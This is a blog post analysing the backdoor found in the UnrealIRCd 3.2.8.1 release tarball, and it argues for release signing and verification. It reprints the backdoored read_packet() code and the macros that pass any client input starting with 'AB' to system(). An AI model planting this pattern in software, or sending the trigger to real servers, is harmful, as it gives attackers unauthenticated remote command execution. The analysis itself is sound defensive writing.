The
UnrealIRCd team has just published an advisory
advisory stating their release has been backdoored. From the advisory:
We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been
replaced quite a while ago with a version with a backdoor (trojan) in it.
This backdoor allows a person to execute ANY command with the privileges of
the user running the ircd. The backdoor can be executed regardless of any user
restrictions (so even if you have passworded server or hub that doesn't allow
any users in).
It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now.
I'm personally not using this software but this is probably a shock for lots of sysadmins as this is one of the most popular IRC server applications. The last sentence of this quote is the most shocking to me. This slipped through the cracks for about
8 months without being noticed! This shows
yet another time that upstream developers need to think about providing ways to allow users to properly verify the integrity of their releases and (which is probably more important)
users need to verify what they download. There is no point in md5 and friends being broken if nobody cares for hashes anyway.
The UnrealIRCd people seemed to have learned their lesson and will start PGP/GPG signing their releases from now on. Hopefully their users verify their tarballs then.
So what was the backdoor exactly about? It didn't take me much time to find a backdoored tarball, "gladly" there are still lots of websites mirroring backdoored tarballs.
The backdoor is pretty small, simple and efficient, a full diff can be found
here.
Only two files have been modified, the first one is the important one: s_bsc.c, function read_packet():
static int read_packet(aClient *cptr, fd_set *rfd)
{
int dolen = 0, length = 0, done;
time_t now = TStime();
if (FD_ISSET(cptr->fd, rfd) &&
!(IsPerson(cptr) && DBufLength(&cptr->recvQ) > 6090))
{
Hook *h;
SET_ERRNO(0);
#ifdef USE_SSL
if (cptr->flags & FLAGS_SSL)
length = ircd_SSL_read(cptr, readbuf, sizeof(readbuf));
else
#endif
length = recv(cptr->fd, readbuf, sizeof(readbuf), 0);
cptr->lasttime = now;
if (cptr->lasttime > cptr->since)
cptr->since = cptr->lasttime;
cptr->flags &= ~(FLAGS_PINGSENT | FLAGS_NONL);
// If not ready, fake it so it isnt closed
if (length < 0 && ERRNO == P_EWOULDBLOCK)
return 1;
if (length <= 0)
return length;
#ifdef DEBUGMODE3
if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
DEBUG3_LOG(readbuf);
#endif
This is
the important function to handle client connection data and processes all client data. the modification are the 4 lines at the end.
The code is simple. The first two bytes of readbuf are compared with DEBUGMODE3_INFO. readbuf is used a few lines before to read data from the client connection. So basically this introduces a new irc "command" DEBUGMODE3_INFO.
DEBUGMODE3_INFO is defined as
AB in include/struct.h. If the received bytes match AB DEBUG3_LOG is called with the read buffer as argument. DEBUG3_LOG is just another macro that resolves to DEBUG3_DOLOG_SYSTEM (defined in the same file) which looks like:
#define DEBUG3_DOLOG_SYSTEM(x) system(x)
So this allows an attacker to connect to the irc server and execute arbitrary commands by using the AB comment. This is probably the most simple backdoor one can think of but it's rather efficient and unlikely to be hit by accident from a client. Bad days for UnrealIRCd and there are still many servers out there which are probably backdoored this way, at least it didn't cost me much time to find some :/